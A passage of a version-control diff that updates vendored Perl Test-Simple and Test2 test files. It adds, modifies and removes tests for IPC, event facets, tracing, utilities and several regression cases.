@@ -50,8 +52,9 @@
         $one->abort_trace('foo');
     }
 
-    is($out, "not ok - IPC Fatal Error\n", "got 'not ok' on stdout");
+    like($out, qr/Bail out! IPC Fatal Error: foo/, "got 'bail-out' on stdout");
     like($err, qr/IPC Fatal Error: foo/, "Got error");
 };
+}
 
 done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/IPC.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/IPC.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/IPC.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use warnings;
 
 use Test2::IPC qw/cull/;
-use Test2::API qw/context test2_ipc_drivers test2_ipc/;
+use Test2::API qw/context test2_ipc_drivers test2_ipc intercept/;
 
 use Test2::Tools::Tiny;
 
@@ -16,4 +16,6 @@
 
 ok(__PACKAGE__->can('cull'), "Imported cull");
 
+ok(eval { intercept { Test2::IPC->import }; 1 }, "Can re-import Test2::IPC without error") or diag $@;
+
 done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Tools/Tiny.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Tools/Tiny.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Tools/Tiny.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -82,23 +82,23 @@
 ok($plan->isa('Test2::Event::Plan'), "got plan");
 is($plan->max, 8, "planned for 8 oks");
 
-ok($ok->isa('Test2::Event::Ok'), "got 'ok' result");
-is($ok->pass, 0, "'ok' test failed");
+ok($ok->isa('Test2::Event::Fail'), "got 'ok' result");
+is($ok->facets->{assert}->pass, 0, "'ok' test failed");
 
-ok($is->isa('Test2::Event::Ok'), "got 'is' result");
-is($is->pass, 0, "'is' test failed");
+ok($is->isa('Test2::Event::Fail'), "got 'is' result");
+is($ok->facets->{assert}->pass, 0, "test failed");
 
-ok($isnt->isa('Test2::Event::Ok'), "got 'isnt' result");
-is($isnt->pass, 0, "'isnt' test failed");
+ok($isnt->isa('Test2::Event::Fail'), "got 'isnt' result");
+is($ok->facets->{assert}->pass, 0, "test failed");
 
-ok($like->isa('Test2::Event::Ok'), "got 'like' result");
-is($like->pass, 0, "'like' test failed");
+ok($like->isa('Test2::Event::Fail'), "got 'like' result");
+is($ok->facets->{assert}->pass, 0, "test failed");
 
-ok($unlike->isa('Test2::Event::Ok'), "got 'unlike' result");
-is($unlike->pass, 0, "'unlike' test failed");
+ok($unlike->isa('Test2::Event::Fail'), "got 'unlike' result");
+is($ok->facets->{assert}->pass, 0, "test failed");
 
-ok($is_deeply->isa('Test2::Event::Ok'), "got 'is_deeply' result");
-is($is_deeply->pass, 0, "'is_deeply' test failed");
+ok($is_deeply->isa('Test2::Event::Fail'), "got 'is_deeply' result");
+is($ok->facets->{assert}->pass, 0, "test failed");
 
 ok($diag->isa('Test2::Event::Diag'), "got 'diag' result");
 is($diag->message, "Testing Diag", "got diag message");
@@ -129,7 +129,7 @@
 
 @$events = grep {!$_->isa('Test2::Event::Diag')} @$events;
 is(@$events, 5, "5 events");
-ok(!$_->pass, "undef test - should not pass") for @$events;
+ok(!$_->facets->{assert}->pass, "undef test - should not pass") for @$events;
 
 sub tool { context() };
 
@@ -142,7 +142,7 @@
     $ictx = tool();
     $ictx->ok(1, 'pass');
     $ictx->ok(0, 'fail');
-    my $trace = Test2::Util::Trace->new(
+    my $trace = Test2::EventFacet::Trace->new(
         frame => [ __PACKAGE__, __FILE__, __LINE__],
     );
     $ictx->hub->finalize($trace, 1);
@@ -194,7 +194,7 @@
 };
 
 is(@$events, 2, "2 events");
-ok($events->[0]->isa('Test2::Event::Ok'), "got ok");
+ok($events->[0]->isa('Test2::Event::Pass'), "got a pass");
 ok($events->[1]->isa('Test2::Event::Plan'), "finalize was called");
 
 $events = intercept {
@@ -204,7 +204,7 @@
 };
 
 is(@$events, 2, "2 events");
-ok($events->[0]->isa('Test2::Event::Ok'), "got ok");
+ok($events->[0]->isa('Test2::Event::Pass'), "got a pass");
 ok($events->[1]->isa('Test2::Event::Plan'), "finalize was called (only 1 plan)");
 
 done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Util/Facets2Legacy.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Util/Facets2Legacy.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Util/Facets2Legacy.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,144 @@
+use strict;
+use warnings;
+use Test2::Tools::Tiny;
+
+use Test2::Util::Facets2Legacy ':ALL';
+
+my $CLASS;
+BEGIN {
+    $CLASS = 'Test2::Util::Facets2Legacy';
+
+    # This private function is not exported, but we want to test it anyway
+    *_get_facet_data = $CLASS->can('_get_facet_data');
+}
+
+tests _get_facet_data => sub {
+    my $pass = Test2::Event::Pass->new(name => 'xxx');
+    is_deeply(
+        _get_facet_data($pass),
+        {
+            about  => {package => 'Test2::Event::Pass', details => 'pass'},
+            assert => {pass    => 1,                    details => 'xxx'},
+        },
+        "Got facet data from event"
+    );
+
+    is_deeply(
+        _get_facet_data({assert => {pass => 1}}),
+        {assert => {pass => 1}},
+        "Facet data gets passed through"
+    );
+
+    my $file = __FILE__;
+    my $line;
+    like(
+        exception { $line = __LINE__; _get_facet_data([]) },
+        qr/'ARRAY\(.*\)' Does not appear to be either a Test::Event or an EventFacet hashref at \Q$file\E line $line/,
+        "Must provide sane input data"
+    );
+
+    {
+        package Fake::Event;
+        use base 'Test2::Event';
+        use Test2::Util::Facets2Legacy qw/causes_fail/;
+    }
+
+    my $e = Fake::Event->new();
+    like(
+        exception { $line = __LINE__; $e->causes_fail },
+        qr/Cycle between Facets2Legacy and Fake::Event=HASH\(.*\)->facet_data\(\) \(Did you forget to override the facet_data\(\) method\?\)/,
+        "Cannot depend on legacy facet_data and Facets2Legacy"
+    );
+};
+
+tests causes_fail => sub {
+    is(causes_fail({errors => [{fail => 1}]}), 1, "Fatal errors cause failure");
+
+    is(causes_fail({control => {terminate => 0}}), 0, "defined but 0 termination does not cause failure");
+    is(causes_fail({control => {terminate => 1}}), 1, "non-zero defined termination causes failure");
+    is(causes_fail({control => {halt      => 1}}), 1, "A halt causes failure");
+    is(causes_fail({assert  => {pass      => 0}}), 1, "non-passign assert causes failure");
+
+    is(causes_fail({assert => {pass => 0}, amnesty => [{}]}), 0, "amnesty prevents assertion failure");
+
+    is(causes_fail({}), 0, "Default is no failure");
+};
+
+tests diagnostics => sub {
+    is(diagnostics({}), 0, "Default is no");
+
+    is(diagnostics({errors => [{}]}), 1, "Errors mean diagnostics");
+    is(diagnostics({info   => [{}]}), 0, "Info alone does not make diagnostics");
+
+    is(diagnostics({info => [{debug => 1}]}), 1, "Debug flag makes info diagnostics");
+};
+
+tests global => sub {
+    is(global({}), 0, "not global by default");
+    is(global({control => {global => 0}}), 0, "global not set");
+    is(global({control => {global => 1}}), 1, "global is set");
+};
+
+tests increments_count => sub {
+    is(increments_count({}), 0, "No count bump without an assertion");
+    is(increments_count({assert => {}}), 1, "count bump with assertion");
+};
+
+tests no_display => sub {
+    is(no_display({}), 0, "default is no");
+    is(no_display({about => {no_display => 0}}), 0, "set to off");
+    is(no_display({about => {no_display => 1}}), 1, "set to on");
+};
+
+tests subtest_id => sub {
+    is(subtest_id({}), undef, "none by default");
+    is(subtest_id({parent => {hid => 123}}), 123, "use parent hid when present");
+};
+
+tests summary => sub {
+    is(summary({}), '', "no summary without about->details");
+    is(summary({about => {details => 'foo'}}), 'foo', "got about->details");
+};
+
+tests terminate => sub {
+    is(terminate({}), undef, "undef by default");
+    is(terminate({control => {terminate => undef}}), undef, "undef by choice");
+    is(terminate({control => {terminate => 100}}), 100, "got the terminate value");
+    is(terminate({control => {terminate => 0}}), 0, "0 is passed through");
+};
+
+tests sets_plan => sub {
+    is_deeply( [sets_plan({})], [], "No plan by default");
+
+    is_deeply(
+        [sets_plan({plan => {}})],
+        [0],
+        "Empty plan means count of 0, nothing extra"
+    );
+
+    is_deeply(
+        [sets_plan({plan => {count => 100}})],
+        [100],
+        "Got simple count"
+    );
+
+    is_deeply(
+        [sets_plan({plan => {count => 0, none => 1}})],
+        [0, 'NO PLAN'],
+        "No Plan"
+    );
+
+    is_deeply(
+        [sets_plan({plan => {count => 0, skip => 1}})],
+        [0, 'SKIP'],
+        "Skip"
+    );
+
+    is_deeply(
+        [sets_plan({plan => {count => 0, skip => 1, details => 'foo bar'}})],
+        [0, 'SKIP', 'foo bar'],
+        "Skip with reason"
+    );
+};
+
+done_testing;

Deleted: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Util/HashBase.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Util/HashBase.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Util/HashBase.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,157 +0,0 @@
-use strict;
-use warnings;
-
-use Test::More;
-
-
-sub warnings(&) {
-    my $code = shift;
-    my @warnings;
-    local $SIG{__WARN__} = sub { push @warnings => @_ };
-    $code->();
-    return \@warnings;
-}
-
-sub exception(&) {
-    my $code = shift;
-    local ($@, $!, $SIG{__DIE__});
-    my $ok = eval { $code->(); 1 };
-    my $error = $@ || 'SQUASHED ERROR';
-    return $ok ? undef : $error;
-}
-
-BEGIN {
-    $INC{'Object/HashBase/Test/HBase.pm'} = __FILE__;
-
-    package
-        main::HBase;
-    use Test2::Util::HashBase qw/foo bar baz/;
-
-    main::is(FOO, 'foo', "FOO CONSTANT");
-    main::is(BAR, 'bar', "BAR CONSTANT");
-    main::is(BAZ, 'baz', "BAZ CONSTANT");
-}
-
-BEGIN {
-    package
-        main::HBaseSub;
-    use base 'main::HBase';
-    use Test2::Util::HashBase qw/apple pear/;
-
-    main::is(FOO,   'foo',   "FOO CONSTANT");
-    main::is(BAR,   'bar',   "BAR CONSTANT");
-    main::is(BAZ,   'baz',   "BAZ CONSTANT");
-    main::is(APPLE, 'apple', "APPLE CONSTANT");
-    main::is(PEAR,  'pear',  "PEAR CONSTANT");
-}
-
-my $one = main::HBase->new(foo => 'a', bar => 'b', baz => 'c');
-is($one->foo, 'a', "Accessor");
-is($one->bar, 'b', "Accessor");
-is($one->baz, 'c', "Accessor");
-$one->set_foo('x');
-is($one->foo, 'x', "Accessor set");
-$one->set_foo(undef);
-
-is_deeply(
-    $one,
-    {
-        foo => undef,
-        bar => 'b',
-        baz => 'c',
-    },
-    'hash'
-);
-
-BEGIN {
-    package
-        main::Const::Test;
-    use Test2::Util::HashBase qw/foo/;
-
-    sub do_it {
-        if (FOO()) {
-            return 'const';
-        }
-        return 'not const'
-    }
-}
-
-my $pkg = 'main::Const::Test';
-is($pkg->do_it, 'const', "worked as expected");
-{
-    local $SIG{__WARN__} = sub { };
-    *main::Const::Test::FOO = sub { 0 };
-}
-ok(!$pkg->FOO, "overrode const sub");
-is($pkg->do_it, 'const', "worked as expected, const was constant");
-
-BEGIN {
-    $INC{'Object/HashBase/Test/HBase/Wrapped.pm'} = __FILE__;
-
-    package
-        main::HBase::Wrapped;
-    use Test2::Util::HashBase qw/foo bar/;
-
-    my $foo = __PACKAGE__->can('foo');
-    no warnings 'redefine';
-    *foo = sub {
-        my $self = shift;
-        $self->set_bar(1);
-        $self->$foo(@_);
-    };
-}
-
-BEGIN {
-    $INC{'Object/HashBase/Test/HBase/Wrapped/Inherit.pm'} = __FILE__;
-
-    package
-        main::HBase::Wrapped::Inherit;
-    use base 'main::HBase::Wrapped';
-    use Test2::Util::HashBase;
-}
-
-my $o = main::HBase::Wrapped::Inherit->new(foo => 1);
-my $foo = $o->foo;
-is($o->bar, 1, 'parent attribute sub not overridden');
-
-{
-    package
-        Foo;
-
-    sub new;
-
-    use Test2::Util::HashBase qw/foo bar baz/;
-
-    sub new { 'foo' };
-}
-
-is(Foo->new, 'foo', "Did not override existing 'new' method");
-
-BEGIN {
-    $INC{'Object/HashBase/Test/HBase2.pm'} = __FILE__;
-
-    package
-        main::HBase2;
-    use Test2::Util::HashBase qw/foo -bar ^baz/;
-
-    main::is(FOO, 'foo', "FOO CONSTANT");
-    main::is(BAR, 'bar', "BAR CONSTANT");
-    main::is(BAZ, 'baz', "BAZ CONSTANT");
-}
-
-my $ro = main::HBase2->new(foo => 'foo', bar => 'bar', baz => 'baz');
-is($ro->foo, 'foo', "got foo");
-is($ro->bar, 'bar', "got bar");
-is($ro->baz, 'baz', "got baz");
-
-is($ro->set_foo('xxx'), 'xxx', "Can set foo");
-is($ro->foo, 'xxx', "got foo");
-
-like(exception { $ro->set_bar('xxx') }, qr/'bar' is read-only/, "Cannot set bar");
-
-my $warnings = warnings { is($ro->set_baz('xxx'), 'xxx', 'set baz') };
-like($warnings->[0], qr/set_baz\(\) is deprecated/, "Deprecation warning");
-
-done_testing;
-
-1;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Util/Trace.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Util/Trace.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Util/Trace.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,15 +1,15 @@
 use strict;
 use warnings;
 use Test2::Tools::Tiny;
-use Test2::Util::Trace;
+use Test2::EventFacet::Trace;
 
 like(
-    exception { 'Test2::Util::Trace'->new() },
+    exception { 'Test2::EventFacet::Trace'->new() },
     qr/The 'frame' attribute is required/,
     "got error"
 );
 
-my $one = 'Test2::Util::Trace'->new(frame => ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo']);
+my $one = 'Test2::EventFacet::Trace'->new(frame => ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo']);
 is_deeply($one->frame,  ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo'], "Got frame");
 is_deeply([$one->call], ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo'], "Got call");
 is($one->package, 'Foo::Bar',      "Got package");

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Util.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Util.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Util.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,8 @@
 use strict;
 use warnings;
 
+use Config qw/%Config/;
+
 use Test2::Tools::Tiny;
 use Test2::Util qw/
     try
@@ -13,9 +15,19 @@
     CAN_THREAD
     CAN_REALLY_FORK
 
+    CAN_SIGSYS
+
     IS_WIN32
+
+    clone_io
 /;
 
+BEGIN {
+    if ($] lt "5.008") {
+        require Test::Builder::IO::Scalar;
+    }
+}
+
 {
     for my $try (\&try, Test2::Util->can('_manual_try'), Test2::Util->can('_local_try')) {
         my ($ok, $err) = $try->(sub { die "xxx" });
@@ -39,4 +51,38 @@
 
 is(IS_WIN32(), ($^O eq 'MSWin32') ? 1 : 0, "IS_WIN32 is correct ($^O)");
 
+my %sigs = map {$_ => 1} split /\s+/, $Config{sig_name};
+if ($sigs{SYS}) {
+    ok(CAN_SIGSYS, "System has SIGSYS");
+}
+else {
+    ok(!CAN_SIGSYS, "System lacks SIGSYS");
+}
+
+my $check_for_sig_sys = Test2::Util->can('_check_for_sig_sys');
+ok($check_for_sig_sys->("FOO SYS BAR"), "Found SIGSYS in the middle");
+ok($check_for_sig_sys->("SYS FOO BAR"), "Found SIGSYS at start");
+ok($check_for_sig_sys->("FOO BAR SYS"), "Found SIGSYS at end");
+ok(!$check_for_sig_sys->("FOO SYSX BAR"), "SYSX is not SYS");
+ok(!$check_for_sig_sys->("FOO XSYS BAR"), "XSYS is not SYS");
+
+my $io = clone_io(\*STDOUT);
+ok($io, "Cloned the filehandle");
+close($io);
+
+my $fh;
+my $out = '';
+if ($] ge "5.008") {
+    open($fh, '>', \$out) or die "Could not open filehandle";
+} else {
+    $fh = Test::Builder::IO::Scalar->new(\$out) or die "Could not open filehandle";
+}
+
+$io = clone_io($fh);
+is($io, $fh, "For a scalar handle we simply return the original handle, no other choice");
+print $io "Test\n";
+
+is($out, "Test\n", "wrote to the scalar handle");
+
+
 done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/regression/746-forking-subtest.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/regression/746-forking-subtest.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/regression/746-forking-subtest.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,37 @@
+use strict;
+use warnings;
+use Test2::IPC;
+use Test2::Tools::Tiny;
+use Test2::API qw/context intercept test2_stack/;
+use Test2::Util qw/CAN_FORK/;
+
+BEGIN {
+    skip_all "System cannot fork" unless CAN_FORK;
+}
+
+my $events = intercept {
+    Test2::API::run_subtest("this subtest forks" => sub {
+        if (fork) {
+            wait;
+            isnt($?, 0, "subprocess died");
+        } else {
+            # Prevent the exception from being rendered to STDERR, people have
+            # complained about STDERR noise in tests before.
+            close STDERR;
+            die "# Expected warning from subtest";
+        };
+    }, {no_fork => 1});
+};
+
+my @subtests = grep {; $_->isa('Test2::Event::Subtest') } @$events;
+
+if (is(@subtests, 1, "only one subtest run, effectively")) {
+    my @subokay = grep {; $_->facets->{assert} }
+                  @{ $subtests[0]->subevents };
+    is(@subokay, 1, "we got one test result inside the subtest");
+    ok(! $subokay[0]->causes_fail, "...and it passed");
+} else {
+  # give up, we're already clearly broken
+}
+
+done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/regression/gh_16.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/regression/gh_16.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/regression/gh_16.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,18 @@
 use strict;
 use warnings;
 
+# This test checks for a pretty rare condition, one that was mainly a problem
+# on 5.20+ (though a 5.8 also had the problem). I am not too worried about this
+# breaking again. That said I still want it run on newer perls (where it is
+# less likely to fail for an unrelated reason) and when I have AUTHOR_TESTING
+# set.
+BEGIN {
+    unless($ENV{AUTHOR_TESTING} || eval "no warnings 'portable'; require 5.20; 1") {
+        print "1..0 # Skip Crazy test, only run on 5.20+, or when AUTHOR_TESTING is set\n";
+        exit 0;
+    }
+}
+
 # This test is for gh #16
 # Also see https://rt.perl.org/Public/Bug/Display.html?id=127774
 
@@ -10,7 +22,7 @@
 BEGIN {
     print "\n1..1\n";
     close(STDERR);
-    open(STDERR, '>&', STDOUT);
+    open(STDERR, '>&STDOUT');
 }
 
 use Test2::API;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/regression/ipc_files_abort_exit.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/regression/ipc_files_abort_exit.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/regression/ipc_files_abort_exit.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,62 +1,67 @@
 use strict;
 use warnings;
-use Test2::IPC;
 use Test2::Tools::Tiny;
-use Test2::API qw/context test2_stack/;
 use Test2::Util qw/CAN_FORK/;
 
 BEGIN {
+    skip_all "Set AUTHOR_TESTING to run this test" unless $ENV{AUTHOR_TESTING};
     skip_all "System cannot fork" unless CAN_FORK;
+    skip_all "known to fail on $]" if $] le "5.006002";
 }
 
-plan(3);
+use IPC::Open3 qw/open3/;
+use File::Temp qw/tempdir/;
 
-pipe(my ($read, $write));
+my $tempdir = tempdir(CLEANUP => 1);
 
-test2_stack()->top;
-my $hub = test2_stack()->new_hub();
+open(my $stdout, '>', "$tempdir/stdout") or die "Could not open: $!";
+open(my $stderr, '>', "$tempdir/stderr") or die "Could not open: $!";
 
-my $pid = fork();
-die "Failed to fork" unless defined $pid;
+my $pid = open3(undef, ">&" . fileno($stdout), ">&" . fileno($stderr), $^X, '-Ilib', '-e', <<'EOT');
+use Test2::IPC::Driver::Files;
+use Test2::IPC;
+use Test2::Tools::Tiny;
+use Test2::API qw/test2_ipc/;
+plan 1;
+ok(1);
 
-if ($pid) {
-    close($read);
-    test2_stack()->pop($hub);
-    $hub = undef;
-    print $write "Go\n";
-    close($write);
-    waitpid($pid, 0);
-    my $err = $? >> 8;
-    is($err, 255, "Exit code was not masked");
-    ok($err != 100, "Did not hit the safety exit");
-}
-else {
-    close($write);
-    my $ignore = <$read>;
-    close($read);
-    close(STDERR);
-    close(STDOUT);
-    open(STDERR, '>', my $x);
-    my $ctx = context(hub => $hub, level => -1);
-    my $clone = $ctx->snapshot;
-    $ctx->release;
-    $clone->ok(0, "Should not see this");
-    print STDERR "\n\nSomething went wrong!!!!\n\n";
-    exit 100; # Safety exit
-};
+my $tmpdir = test2_ipc()->tempdir;
+open(my $fh, '>', "$tmpdir/leftover") or die "Could not open file: $!";
+print $fh "XXX\n";
+close($fh) or die "Could not clone file";
 
+print "TEMPDIR: $tmpdir\n";
 
-# The rest of this is to make sure nothing that happens when reading the event
-# messes with $?.
+exit 100;
 
-pipe($read, $write);
+EOT
 
-$pid = fork;
-die "Failed to fork" unless defined $pid;
+waitpid($pid, 0);
+my $exit = $?;
 
-unless($pid) {
-    my $ignore = <$read>;
-    ok(1, "Test in forked process");
+open($stdout, '<', "$tempdir/stdout") or die "Could not open: $!";
+open($stderr, '<', "$tempdir/stderr") or die "Could not open: $!";
+
+$stdout = join "" => <$stdout>;
+$stderr = join "" => <$stderr>;
+
+is(($exit >> 8), 255, "exited 255");
+like($stderr, qr{^IPC Fatal Error: Leftover files in the directory \(.*/leftover\)!$}m, "Got expected error");
+like($stdout, qr{^Bail out! IPC Fatal Error: Leftover files in the directory \(.*leftover\)!$}m, "Got a bail printed");
+
+if(ok($stdout =~ m/^TEMPDIR: (.*)$/m, "Found temp dir")) {
+    chomp(my $tmpdir = $1);
+    if (-d $tmpdir) {
+        note "Cleaning up temp dir\n";
+
+        opendir(my $dh, $tmpdir) or diag "Could not open temp dir: $!";
+        for my $file (readdir($dh)) {
+            next if $file =~ m/^\./;
+            unlink("$tmpdir/$file") or diag "Could not remove $tmpdir/$file: $!";
+        }
+        closedir($dh);
+        rmdir($tmpdir) or diag "Could not remove temp dir: $!";
+    }
 }
 
-print $write "Go\n";
+done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/lib/Test/Builder/NoOutput.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/lib/Test/Builder/NoOutput.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/lib/Test/Builder/NoOutput.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -53,6 +53,9 @@
     my $class = shift;
     my $self = $class->SUPER::create(@_);
 
+    require Test::Builder::Formatter;
+    $self->{Stack}->top->format(Test::Builder::Formatter->new);
+
     my %outputs = (
         all  => '',
         out  => '',

Modified: vendor/perl/dist/cpan/Test-Simple/t/lib/Test/Simple/Catch.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/lib/Test/Simple/Catch.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/lib/Test/Simple/Catch.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,7 +10,9 @@
 my $err = tie *$err_fh, 'TieOut';
 
 use Test::Builder;
+require Test::Builder::Formatter;
 my $t = Test::Builder->new;
+$t->{Stack}->top->format(Test::Builder::Formatter->new);
 $t->output($out_fh);
 $t->failure_output($err_fh);
 $t->todo_output($err_fh);

Modified: vendor/perl/dist/cpan/Test-Simple/t/regression/696-intercept_skip_all.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/regression/696-intercept_skip_all.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/regression/696-intercept_skip_all.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -29,7 +29,7 @@
 
 tests in_require => sub {
     my $events = intercept {
-        require 't/lib/SkipAll.pm';
+        require './t/lib/SkipAll.pm';
         die "Should not see this: $@";
     };
 

Modified: vendor/perl/dist/cpan/Test-Simple/t/regression/721-nested-streamed-subtest.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/regression/721-nested-streamed-subtest.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/regression/721-nested-streamed-subtest.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,92 +5,95 @@
 
 # This module's exports interfere with the ones in t/tools.pl
 use Test::More ();
+use Test::Builder::Formatter();
 use Test2::API qw/run_subtest test2_stack/;
 
 {
-	test2_stack->top;
-	my $temp_hub = test2_stack->new_hub();
+    test2_stack->top;
+    my $temp_hub = test2_stack->new_hub();
+    $temp_hub->format(Test::Builder::Formatter->new());
 
-	my $output = capture {
-		run_subtest(
-			'parent',
-			sub {
-				run_subtest(
-					'buffered',
-					sub {
-						ok(1, 'b1');
-						ok(1, 'b2');
-					},
-					{buffered => 1},
-				);
-				run_subtest(
-					'streamed',
-					sub {
-						ok(1, 's1');
-						ok(1, 's2');
-					},
-					{buffered => 0},
-				);
-			},
-			{buffered => 1},
-		);
-	};
+    my $output = capture {
+        run_subtest(
+            'parent',
+            sub {
+                run_subtest(
+                    'buffered',
+                    sub {
+                        ok(1, 'b1');
+                        ok(1, 'b2');
+                    },
+                    {buffered => 1},
+                );
+                run_subtest(
+                    'streamed',
+                    sub {
+                        ok(1, 's1');
+                        ok(1, 's2');
+                    },
+                    {buffered => 0},
+                );
+            },
+            {buffered => 1},
+        );
+    };
 
-	test2_stack->pop($temp_hub);
+    test2_stack->pop($temp_hub);
 
-	Test::More::subtest(
-		'Test2::API::run_subtest',
-		sub {
-			is($output->{STDERR}, q{}, 'no output on stderr');
-			like($output->{STDOUT}, qr/ +ok 1 - b1/, 'got ok output for tests in buffered subtest');
-			like($output->{STDOUT}, qr/ +ok 2 - b2/, 'got ok output for tests in buffered subtest');
-			like($output->{STDOUT}, qr/ +ok 1 - s1/, 'got ok output for tests in streamed subtest');
-			like($output->{STDOUT}, qr/ +ok 2 - s2/, 'got ok output for tests in streamed subtest');
-		}
-	);
+    Test::More::subtest(
+        'Test2::API::run_subtest',
+        sub {
+            is($output->{STDERR}, q{}, 'no output on stderr');
+            like($output->{STDOUT}, qr/ +ok 1 - b1/, 'got ok output for tests in buffered subtest');
+            like($output->{STDOUT}, qr/ +ok 2 - b2/, 'got ok output for tests in buffered subtest');
+            like($output->{STDOUT}, qr/ +ok 1 - s1/, 'got ok output for tests in streamed subtest');
+            like($output->{STDOUT}, qr/ +ok 2 - s2/, 'got ok output for tests in streamed subtest');
+        }
+    );
 }
 
 {
-	test2_stack->top;
-	my $temp_hub = test2_stack->new_hub();
+    test2_stack->top;
+    my $temp_hub = test2_stack->new_hub();
+    $temp_hub->format(Test::Builder::Formatter->new());
 
-	my $output = capture {
-		run_subtest(
-			'parent',
-			sub {
-				run_subtest(
-					'buffered',
-					sub {
-						ok(1, 'b1');
-						ok(1, 'b2');
-					},
-					{buffered => 1},
-				);
-				Test::More::subtest(
-					'streamed',
-					sub {
-						ok(1, 's1');
-						ok(1, 's2');
-					},
-					{buffered => 0},
-				);
-			},
-			{buffered => 1},
-		);
-	};
+    my $output = capture {
+        run_subtest(
+            'parent',
+            sub {
+                run_subtest(
+                    'buffered',
+                    sub {
+                        ok(1, 'b1');
+                        ok(1, 'b2');
+                    },
+                    {buffered => 1},
+                );
+                Test::More::subtest(
+                    'streamed',
+                    sub {
+                        ok(1, 's1');
+                        ok(1, 's2');
+                    },
+                    {buffered => 0},
+                );
+            },
+            {buffered => 1},
+        );
+    };
 
-	test2_stack->pop($temp_hub);
+    test2_stack->pop($temp_hub);
 
-	Test::More::subtest(
-		'Test::More::subtest and Test2::API::run_subtest',
-		sub {
-			is($output->{STDERR}, q{}, 'no output on stderr');
-			like($output->{STDOUT}, qr/ +ok 1 - b1/, 'got ok output for tests in buffered subtest');
-			like($output->{STDOUT}, qr/ +ok 2 - b2/, 'got ok output for tests in buffered subtest');
-			like($output->{STDOUT}, qr/ +ok 1 - s1/, 'got ok output for tests in streamed subtest');
-			like($output->{STDOUT}, qr/ +ok 2 - s2/, 'got ok output for tests in streamed subtest');
-		}
-	);
+    Test::More::subtest(
+        'Test::More::subtest and Test2::API::run_subtest',
+        sub {
+            is($output->{STDERR}, q{}, 'no output on stderr');
+            like($output->{STDOUT}, qr/ +ok 1 - b1/, 'got ok output for tests in buffered subtest');
+            like($output->{STDOUT}, qr/ +ok 2 - b2/, 'got ok output for tests in buffered subtest');
+            like($output->{STDOUT}, qr/ +ok 1 - s1/, 'got ok output for tests in streamed subtest');
+            like($output->{STDOUT}, qr/ +ok 2 - s2/, 'got ok output for tests in streamed subtest');
+        }
+    );
 }
 
 done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/regression/757-reset_in_subtest.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/regression/757-reset_in_subtest.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/regression/757-reset_in_subtest.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,20 @@
+use strict;
+use warnings;
+
+use Test::More;
+
+subtest 'subtest' => sub {
+    Test::Builder->new->reset;
+    ok 1;
